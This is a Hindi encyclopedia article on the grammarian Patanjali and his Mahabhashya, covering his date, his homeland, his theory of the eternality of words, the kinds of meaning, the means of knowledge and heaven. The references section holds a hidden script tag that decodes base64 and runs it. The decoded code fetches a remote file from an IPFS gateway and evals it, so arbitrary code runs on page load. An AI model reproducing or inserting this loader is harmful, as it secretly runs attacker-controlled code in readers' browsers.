पतंजलि (महाभाष्यकार)

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महर्षि पाणिनि ने 'अष्टाध्यायी' की रचना की जिसमें व्याकरण के नियम हैं। ये सूत्र अत्यन्त संक्षिप्त हैं। उनका अर्थ जानने के लिए अर्थ बोधक विवेचन की आवश्यकता प्रतीत होती है।

महर्षि पाणिनि के लगभग दो सौ साल बाद कात्यायन महर्षि ने लगभग बारह सौ सूत्रों पर वार्तिक लिखे। पाणिनि पर यही सबसे पुरानी टीका आज उपलब्ध है। इन वार्तिकों में सूत्रार्थ की चर्चा, कहीं मंडन और कभी-कभी खंडन भी किया गया है। फिर छ: सौ साल के बाद पतंजलि ने पाणिनि के सूत्रों का विवेचन करने वाली एक विस्तृत टीका लिखी। यही टीका 'व्याकरण महाभाष्य' के नाम से प्रसिद्ध है। जिन सूत्रों पर कात्यायन के वार्तिक हैं, उन सबका और जिन पर वार्तिक नहीं हैं, ऐसे लगभग 400 सूत्रों का इसमें विवेचन है। इससे यह स्पष्ट होता है कि सामान्यत: अष्टाध्यायी के 40 प्रतिशत सूत्रों का इस टीका में विवेचन है। सम्भव है कि अवशिष्ट 2400 सूत्रों का अर्थात् अष्टाध्यायी के 60 प्रतिशत सूत्रों का विवेचन करने की आवश्यकता पतंजलि को प्राप्त नहीं हुई।

अंतरंग और बहिरंग साक्ष्य से ई. पू. 150 पतंजलि का काल अध्येताओं ने निश्चित किया है।

महाभाष्य के अनुसार

महाभाष्य के अनुसार पतंजलि गोनर्द प्रदेश के वासी प्रतीत होते हैं। आज के पंजाब का एक भाग उस समय गोनर्द नाम से प्रसिद्ध था। अगर आज का गोंड देश प्राचीन गोनर्द हो तो यह अयोध्या के समीप है। इस प्रकार इसके बारे में विद्वानों के विभिन्न मत हैं। महाभाष्य में गांधार, उदीच्य, बाहीक, पंजाब आदि प्रदेशों के गांवों, नदियों और नालों आदि का उल्लेख होने से यह निश्चित होता है कि उनका जन्म कहीं भी हुआ हो, किन्तु उनकी शिक्षा, अध्यापन, लेखन आदि महत्त्वपूर्ण कार्य पंजाब में या उसके समीप कहीं हुआ होगा।

महाभाष्य में पाये जाने वाले निर्देशों से यह मालूम होता है कि पतंजलि के पहले भी पाणिनि के सूत्रों पर विवरण ग्रन्थ उपलब्ध थे, जिनमें से एक भाष्य नाम से प्रसिद्ध था। पतंजलि का विवरण उस भाष्य से भी अधिक विस्तृत और महत्त्वपूर्ण होने के कारण उनके ग्रन्थ को 'महाभाष्य' कहने लगे होंगे।

महाभाष्य की भाषा सरल और सुबोध है। अनेक शास्त्र विषयों की चर्चा विचारों की गहराई इत्यादि इस ग्रन्थ की अनेक विशेषताएं हैं। प्रश्नोत्तरी पद्धति के कारण इस ग्रन्थ में की गई शास्त्रचर्चा जीवन्त प्रतीत होती है। कहीं थोड़ा हास्य, कहीं व्यंग्य, कहीं प्राचीन दृष्टान्त, कहीं कल्पित कथा होने से इस ग्रन्थ का स्वरूप बहुरूपिया जैसा प्रतीत होता है।

इसी पतंजलि ने योगसूत्र की रचना तथा चरक संहिता का प्रतिसंस्करण किया था, ऐसी प्राचीन परम्परागत मान्यता है। भर्तुहरि ने वाक्यपदीय में यह जानकारी दी है तथा 'योगेन चित्तस्य पदेन वाचाम्...' आदि श्लोक व्याकरण परम्परा में बहुत प्राचीन काल से प्रसिद्ध हैं। महाभाष्य में योग और वैद्यकशास्त्र के कुछ उल्लेख पाये जाते हैं। पुराने लोगों का कहना है कि इन सब प्रमाणों के कारण यह प्राचीन विश्वास सत्य है, लेकिन आधुनिक विद्वानों का कहना है कि भर्तुहरि का काल महाभाष्य के लगभग छ: सौ वर्ष बाद है और उसका किया हुआ निर्देश भी असंदिग्ध नहीं है। 'योगेन...' यह श्लोक तो ग्यारहवीं शताब्दी का होगा। चरकप्रति संस्करण का और योगसूत्र का काल क्रमश: तीसरा और चौथी ई. शतक निश्चित किया गया है। इसीलिए यह स्पष्ट है कि ये तीन पतंजलि अलग अलग ही हैं। केवल नाम सादृश्य के कारण ये सब आख्यायिकाएं प्रचलित हुई होंगी और अगले ग्रन्थकारों ने उन सबको प्रमाण मानकर उनका निर्देश किया होगा।

महाभाष्य का मुख्य और एकमेव क्षेत्र शब्द ही है। तथापि शब्द स्वरूप, शब्द से ज्ञात होने वाले अर्थ का स्वरूप, अर्थ के प्रकार, अर्थ के प्रकार के अनुसार शब्द के प्रकार, लोगों में शब्द के विषय में समझ और गलत समझ आदि विषयों का विवेचन भी पतंजलि ने सूक्ष्मता से किया है। स्वर्ग, मृत्यु, पुनर्जन्म, प्रत्यक्ष, अनुमान, शब्द प्रमाण इत्यादि विषयों का निर्देश प्रसंगवश किया है।

शब्दस्वरूप

प्रारम्भ में पतंजलि ने शब्द स्वरूप का विवेचन किया है। जिसके अभिव्यक्त होने पर अर्थ ज्ञान होता है, वह शब्द है, ऐसा शब्द का तटस्थ लक्षण पहले कहा गया है।

लोगों में अर्थ ज्ञान कराने वाली ध्वनि की संज्ञा शब्द है- ऐसा स्वरूप लक्षण लोगों को समझाने के लिए कहा गया है। महाभाष्यकार ने अन्यत्र बहुत स्थलों पर 'शब्द नित्य है', ध्वनि कार्य अनित्य है, कार्यरूप ध्वनि से अर्थ बोधक नित्य शब्द अभिव्यक्त होता है, ऐसा व्याकरणशास्त्रीय सिद्धांत प्रस्थापित किया है।

यह विषय वार्तिककार ने प्रथम वार्तिक में ही 'सिद्धे शब्दार्थसंबंध' इन शब्दों में संक्षेप में प्रस्तुत किया है। ये शब्द संदेहजनक हैं। अत: वार्तिककार की शब्द स्वरूप के विषय में निश्चित रूप से क्या राय है, यह समझ में नहीं आता। 'सिद्ध' शब्द के नित्य, पूर्वनिष्पन्न, पूर्वज्ञात, इत्यादि अर्थ वाङ्मय में प्रसिद्ध हैं। इस वार्तिक में जिस 'सिद्ध' शब्द का प्रयोग है, उसका अर्थ 'नित्य' ही वार्तिककार को अभिप्रेत है, ऐसा पतंजलि का अभिप्राय है। शब्दार्थ संबंध समाहार द्वन्द्व है। अत: शब्द, अर्थ और उनका संबंध तीनों पदार्थ नित्य हैं, ऐसा व्याकरण सिद्धांत वार्तिककार ने इन शब्दों में आरम्भ में ही स्पष्टतया प्रस्थापित किया है, ऐसा पतंजलि ने माना है। लेकिन शब्द उत्पन्न हुआ, शब्द नष्ट हुआ, अर्थ उत्पन्न हुआ, अर्थ नष्ट हुआ, संबंध उत्पन्न हुआ, संबंध नष्ट हुआ, इस प्रकार शब्दार्थ के विषय में 'उत्पन्न' एवं 'नष्ट' व्यवहार सर्वत्र सब लोग करते हैं, इस कारण शब्दार्थ संबंध को नित्य समझने में उपर्युक्त व्यवहार और प्रत्यक्ष अनुभव दोनों बोधक हैं। फिर वह नित्य कैसे।

पतंजलि और अन्य आलोचकों ने इस बाधा का परिहार इस प्रकार किया है। शब्द दो प्रकार का होता है- नित्य और कार्य। कार्य एवं ध्वनिरूप शब्द से नित्य शब्द अभिव्यक्त होता है। कार्य अथवा अनित्य ध्वनिरूप शब्द के संदर्भ में 'उत्पन्न: शब्द:', 'नष्ट: शब्द:' इत्यादि व्यवहार किया जाता है और अनुभूति भी उसी तरह प्राप्त होती है। लेकिन वह कार्य शब्द वास्तविक शब्द नहीं है। केवल उपचार से या शब्द के प्रयोग में प्रमाद के कारण लोग ऐसा व्यवहार करते हैं। इस प्रकार ध्वनिसमूह के द्वारा व्यक्त होने वाला अर्थ बोधक शब्द नित्य होते हुए भी वक्ता की या श्रोता की बुद्धि में सदैव अवस्थित है। उसी को वैयाकरण स्फोट कहते हैं। इस प्रकार पतंजलि ने शब्द के स्वरूप के विषय में सिद्धांत प्रस्थापित किया है।

कुछ शास्त्रकार मानते हैं कि शब्द से जातिरूप अर्थ ज्ञात होता है। इससे उनके मतानुसार अर्थ की नित्यता प्रमाणित होती है। लेकिन जो शास्त्रकार ऐसा समझते हैं कि शब्द से व्यक्ति रूपमात्र अर्थ ज्ञात होता है, उनके मत के अनुसार शब्द अनित्य है। कुछ शास्त्रकार ऐसा मानते हैं कि शब्द से जाति, आकृति और व्यक्ति ये तीन अर्थ प्रतीत होते हैं। आकृति का अर्थ है कि अवयव संस्थान। वह निश्चित रूप से नष्ट होने वाली है। फिर अर्थ नित्य है, ऐसा कैसे कहा जा सकता है। महाभाष्कार कहते हैं कि शब्द से ज्ञात होने वाला अर्थ जो भी हो, वह नित्य है, यही हमारी गति है। वस्तुएं वही नित्य कहलाती हैं, जो विशिष्ट स्थल से नष्ट हों, किन्तु उनकी सत्ता नष्ट नहीं हो। वह वस्तु अन्यत्र कहीं होती ही है। पतंजलि ने इस विषय में नित्यत्व का सर्वमान्य लक्षण बदल डाला है। उत्तरकाल के टीकाकारों ने व्यवस्थानित्यता, व्यवहारनित्यता और प्रवाहनित्यता ऐसे शब्द उस अर्थ से रूढ़ किए हैं। इस प्रकार शब्द नित्य है, अर्थ भी प्रवाहनित्य है, एवं नित्य शब्द और नित्य अर्थ का सम्बन्ध भी नित्य है। इसीलिए वार्तिककार 'सिद्धे शब्दार्थ संबंधे' कहते हैं। लेकिन महाभाष्यकार के द्वारा नित्यत्व की कल्पना में किया गया यह परिवर्तन किसी को भी मान्य होने वाला नहीं है। इसका कारण यह है कि नित्यत्व का दूसरा लक्षण यदि मान्य किया जाए, तो मनुष्य, वृक्ष, घट, पट, सब पदार्थों को नित्य मानना पड़ेगा। नित्य और अनित्य का यह विभाजन निरर्थक होगा। महाभाष्यकार के मन में भी यह शल्य था ही, इसीलिए उन्होंने शब्दार्थ संबंध में त्रिपद समाहारद्वंद्व अस्वीकृत किया। पहले अर्थ संबंध में षष्ठी तत्पुरुष मानकर उसके बाद शब्द और अर्थ संबंध में समाहारद्वंद्व माना जाए और शब्द और उसका अर्थ से संबंध नित्य होता है, इस प्रकार वार्तिक आ आशय और व्याकरण शास्त्र का सिद्धांत समझा जाए और शब्द और उसका अर्थ से संबंध नित्य होता है, इस प्रकार वार्तिक का आशय और व्याकरण शास्त्र का सिद्धांत समझा जाए, ऐसा मत प्रदर्शित किया है।

अर्थ नित्य हो या अनित्य हो, शब्द और उसका अर्थ संबंध नित्य होता है, ऐसा वार्तिक का आशय भाष्यकार ने बताया है। लेकिन संबंध दो संबंधियों पर आश्रित रहता है। उसी के कारण यदि दो संबंधी नित्य हों तब ही वह संबंध नित्य माना जायेगा। दो संबंधियों में से एक अनित्य हो, तब संबंध भी अनित्य रहेगा। इस आक्षेप का निराकरण टीकाकारों ने इस प्रकार से किया है। दो संबंधियों में से एक संबंधी भी यदि नित्य हो, तभी संबंध नित्य होता है। संबंध योग्यतारूप होता है। दूसरी वस्तु के आते ही वह अभिव्यक्त होता है। इसके अतिरिक्त नैयायिकों ने जाति-व्यक्ति, गुण-गुणी, अवयवावयवी का संबंध नित्य माना है। इन दो-दो संबंधियों में दोनों ही अनित्य हैं, फिर भी उनका संबंध नित्य मानने में कोई भी बाधा उन्हें प्रतीत नहीं होती। फिर नित्य शब्द और अनित्य अर्थ का संबंध नित्य मानने में क्या बाधा है।

सम्भव है कि इस वार्तिक में प्रयुक्त 'सिद्ध' शब्द का वार्तिककार के मन में जो अर्थ है, वह 'पूर्व निष्पन्न' या 'पूर्व ज्ञात' हो। सूत्रकार ने या वार्तिककार ने इस शब्द को 'पूर्व निष्पन्न' या 'पूर्व ज्ञात' के अर्थ में कई स्थानों पर स्वीकृत किया है। यदि यह वास्तविकता ध्यान में ली जाए तो व्याकरण शास्त्र में शब्द नित्यत्व की कल्पना प्रथमत: पतंजलि ने स्थापित की है और उसको शास्त्र का प्राण समझ कर स्थल स्थल पर उन्होंने उस कल्पना का समर्थन करके उसको स्थिर किया है। उत्तरकाल के टीकाकारों ने उसको सुपुष्पित और सुफलित किया है, यह कहना युक्त होगा।

अर्थ के प्रकार

शब्द से ज्ञात होने वाले अर्थ चार प्रकार के हैं। इस कारण शब्द भी चार प्रकार का है- जाति, गुण, क्रिया और संज्ञा। यह कहकर भाष्यकार कहते हैं कि जाति, गुण और क्रिया ये तीन ही प्रकार होते हैं और संज्ञा शब्द इन तीनों में ही समाविष्ट होते हैं एवं प्रत्येक शब्द व्युत्पन्न होता है। यह शाकटायन का पक्ष पतंजलि ने सिद्धांत के रूप में स्वीकृत किया है।

संज्ञा शब्द ही पहले जाति, गुण और क्रिया इन अर्थों में किसी एक के बोधक के रूप में प्रयुक्त होता है। मूल रूप में वह स्थूल नहीं होता है। वह व्युत्पन्न युक्त ही है, ऐसा पतंजलि का अभिप्राय हो सकता है। ऐसा टीकाकारों का भी कहना है। कुछ भी हो, जाति, गुण और क्रिया ये अर्थों के तीन प्रकार सर्वमान्य हैं। महाभाष्यकार ने इन तीनों अर्थों के लक्षण किये हैं। वे लक्षण प्राथमिक स्वरूप के तथा स्थूल हैं। क्रिया नित्यश: परोक्षानुमेय है, ऐसा पतंजलि का कहना है। यह कथन मीमांसकों के मत के समान है। पतंजलि ने गुण की जो व्याख्या की है, उसके अनुसार वह सांख्य संमत सत्वरजस्तमोरूप नहीं है और न ही नैयायिकों का संमत शब्द, स्पर्श आदि चौबीस गुणों में से एक, बल्कि अलग ही है। नैयायिकों के अनुसार ज्ञान, संयोग, गुण हैं, किन्तु वैयाकरणों के अनुसार वह क्रिया है। लिंग के विषय में भी व्याकरण शास्त्र का व्यवहार कुछ अन्य ही है। शब्दसिद्धि को लक्ष्य बनाकर व्याकरण शास्त्र ने अपना मार्ग स्वतंत्र रूप में बनाना चाहा, ऐसा भाष्यकार मानते हैं। तात्पर्य यह है कि शब्दसिद्धि एकमेव उद्देश्य होने के कारण पतंजलि द्वारा की गई जाति, गुण, क्रिया इत्यादि की व्याख्याएं न केवल अन्य शास्त्रकारों के अभिप्राय से अपितु व्यवहार में भी कुछ शिथिल प्रतीत हो सकती हैं। इन मर्यादाओं को ध्यान में रखकर ही उनका आशय समझना चाहिए।

प्रमाणविचार

प्रत्यक्ष, अनुमान एवं शब्द इन तीन प्रमाणों का उल्लेख पतंजलि (मुनि) ने भिन्न-भिन्न स्थलों पर अनेक बार किया है।

शब्द प्रमाण सर्वाधिक श्रेष्ठ है, यदि आप्त हो। आप्त के अर्थ में उन्होंने शिष्ट शब्द का प्रयोग किया है। शिष्टों का दिया हुआ लक्षण इस प्रकार है-

आर्यावर्त देश में निवास करने वाले, निर्लोभी, अधिक मात्रा में संग्रह करने की जिनकी प्रवृत्ति नहीं है, जितेन्द्रिय एवं कम से कम एक ज्ञानशाखा में पारंगत 'शिष्ट' संज्ञा के पात्र हैं। अर्थात्- सत्य और हित कहने के लिए आवश्यक ज्ञान एवं त्याग, ये प्रमुख गुण जिनमें हैं, वे शिष्ट और उनका वचन आप्त वाक्य है।

वेद ईश्वरोक्त होने के कारण पूर्ण प्रमाण कहलायेंगे। उसी प्रकार धर्मसूत्रकारों का वचन भी पूर्ण प्रमाण मानना होगा। इस प्रकार का उल्लेख पतंजलि ने दो जगह पर किया है।

आप्तोपदेश से कुछ ही न्यून (कर्म) अनुमान प्रमाण, अनुमान से कुछ ही न्यून प्रत्यक्ष प्रमाण, यह क्रम उन्होंने सूचित किया है। अलातचक्र, मृगजल, गंधर्व नगर आदि दृष्टान्त देकर उन्होंने 'प्रत्यक्ष' का दुर्बलत्व और 'अनुमान' का प्रबलत्व स्पष्ट किया है। सामने दिखाई देने वाली वस्तु भी अनेक कारणों से इन्द्रियगोचर नहीं हो सकती,[1] इस प्रकार का विवेचन करते समय उन्होंने जो कारण दिए हैं, उन्हीं से हम सब अनुमान लगा सकते हैं कि उनके समय 'प्रत्यक्ष' का दुर्बलत्व शास्त्रकारों को कितना खलता था। साथ साथ हमें यह भी जानकारी प्राप्त होती है कि महाभाष्यकार का अन्य शास्त्रों का ज्ञान भी बहुत गहन और व्यापक था।

वेदवचन अथवा शिष्ट वाक्य को पतंजलि के द्वारा प्रमाणों में अनन्य साधारण स्थान दिया गया देखने पर यह निश्चय हो जाता है कि यह शब्द प्रामाण्य उनके सैकड़ों साल पहले से ही भारतवर्ष में स्थिरमूल रहा होगा।  

स्वर्ग

स्वर्ग का उल्लेख पतंजलि ने पांच जगहों पर किया है। उनमें से पहला उल्लेख यज्ञ का उपहास करने के लिए किया है। यज्ञ की निष्फलता बताने वाला वह श्लोक भ्राज नामक श्लोक संग्रह ग्रन्थ का है। यह यज्ञ की निष्फलता, चार्वाक, बौद्ध इत्यादि के अनुसार हो या उपनिषद परम्परा के अनुसार उस समय भी यज्ञ का उपहास, सर्वलोक प्रसिद्ध था। महाभाष्यकार यज्ञादि वेदोक्त धर्मानुष्ठान के विषय में प्राचीन कर्मवादियों की तरह अकल्प श्रद्धा रखते थे।

सत्कर्म करने से, व्याकरण शास्त्र के परम्परायुक्त अध्ययन से व्याकरणशुद्ध शब्द सोच समझकर प्रयुक्त करने के कारण, अन्नदानादि करने से स्वर्ग प्राप्त होता है। न केवल उपरोक्त प्रकार से व्यवहार करने वाला व्यक्ति बल्कि उसके माता और पिता भी स्वर्ग में सुखपूर्वक निवास करते हैं। स्वर्गीय अप्सराएं पत्नी बनकर उसकी सेवा करती हैं। इस प्रकार का स्वर्ग से संबंधित विवेचन पतंजलि ने किया है।

लोकायत अर्थात चार्वाक मत का उल्लेख दो जगह आया है। उन्होंने यह भी कहा है कि चार्वाक मत प्रतिपादक ग्रन्थ की दो प्रकार की टीकाएं, वर्णि एवं वर्तिका थीं। इससे यह अनुमान लगाया जा सकता है कि उसके मत के मूल ग्रन्थ एवं टीका ग्रन्थ पतंजलि के समय उपलब्ध रहे होंगे।

शरीर को शरीरात्मा कहकर एवं जीवात्मा को अन्तरात्मा कहकर महाभाष्यकार उनका उल्लेख करते हैं और उनके द्वारा किए हुए कर्मों के फल एक दूसरे को भुगतने पड़ते हैं। इस प्रकार दोनों को भी भोक्तृत्व एवं कर्तृत्व लगा रहता है, ऐसा उनका प्रतिपादन है। दोनों का यह कर्तृत्व और भोक्तृत्व वास्तविक है या आरोपित, इसका स्पष्टीकरण उन्होंने किया नहीं है। सम्भव है कि केवल व्यावहारिक रूप से उनका यह वचन हो। सैद्धांतिक रूप से यह मत न्याय, वेदान्त, इनमें से किस से अधिक मिलता है। 'अभ्यास' की अद्वैतवेदान्तियों के द्वारा स्वीकृत कल्पना बीज रूप में पतंजलि जानते थे। शायद यह कल्पना, तत्कालीन दर्शन शास्त्र के ग्रन्थों में रही होगी। इस विषय में उत्साहपूर्वक कुछ भी कहने का साहस करना उचित न होगा।

'मस्करी' (मस्करिन) मत को सिद्ध करते समय पतंजलि के द्वारा दिया गया स्पष्टीकरण इस संबंध में विशेष विचारणीय सिद्ध होगा। कोई भी कर्म करना तुम्हें उचित नहीं है, शान्ति ही सर्वोत्तम शुभ है। इस प्रकार का उपदेश जो करता है, वह मस्करी अर्थात् परिव्राजक (सन्यासी) कहलाता है। यह पतंजलि का विवेचन है। इसका अर्थ यह है कि सर्वकर्म सन्यासपूर्वक ज्ञानमार्ग का उपदेश करने वाला कोई एक सम्प्रदाय उनके समय अस्तित्व में रहा होगा।

महाभाष्यकार ने आकाश, द्यौ इत्यादि का उल्लेख नित्य रूप में किया है। उपनिषदों में उस आत्मा से ही आकाश की उत्पत्ति हुई, इस प्रकार का विवेचन है।

महाभाष्य में 'ब्रह्मा' शब्द अनेक बार प्रयुक्त हुआ है। उसके अर्थ ब्राह्मण, वेद, व्रत इत्यादि हैं। उपनिषदों में मान्य अर्थ महाभाष्य में कहीं पर भी नहीं हैं। मोक्ष, अपवर्ग इत्यादि शब्द या इन शब्दों से व्यक्त होने वाली संकल्पनाएं भी नहीं मिलती हैं। वेद के मंत्र भाषा से बहुत उद्धरण हैं। अनेक प्रकार के यज्ञ-याग आदि का निर्देश भी है। अनेक उपनिषद शब्द उपनिषद्गत निर्देश उपलब्ध नहीं होते।

स्वर्ग ही मानवी जीवन का अन्तिम साध्य है और यज्ञ-याग आदि वेदोक्त कर्म का साधन हैं, वेद ईश्वर के द्वारा कथित हैं, इसलिए वे ही परम प्रमाण हैं। जगत जैसा अब है, वैसा ही पहले या आगे अनंत काल तक रहेगा। ऐसा पूर्व मीमांसकों का प्रतिपादन है। उनका यह कर्मकांड प्रधान, प्रवृत्ति प्रधान और भोगवादी तत्वज्ञान कुछ अंश से सांख्य तत्व से मिश्रित होकर पतंजलि के महाभाष्य में प्रतिबिम्बित होता है। उस काल में सर्वमान्य यह दर्शन पतंजलि का भी संमत होगा और उस दर्शन पर उनकी अविचन श्रद्धा होगी, ऐसा निष्कर्म यदि निकाला जाए तो उचित होगा।


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टीका टिप्पणी और संदर्भ

भागवत, पंडित वामन बा. विश्व के प्रमुख दार्शनिक (हिन्दी)। भारतडिस्कवरी पुस्तकालय: वैज्ञानिक तथा तकनीकी शब्दावली आयोग, नई दिल्ली, 271।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. उस वस्तु को पहचानने में इन्द्रियाँ असमर्थ सिद्ध होती हैं

बाहरी कड़ियाँ

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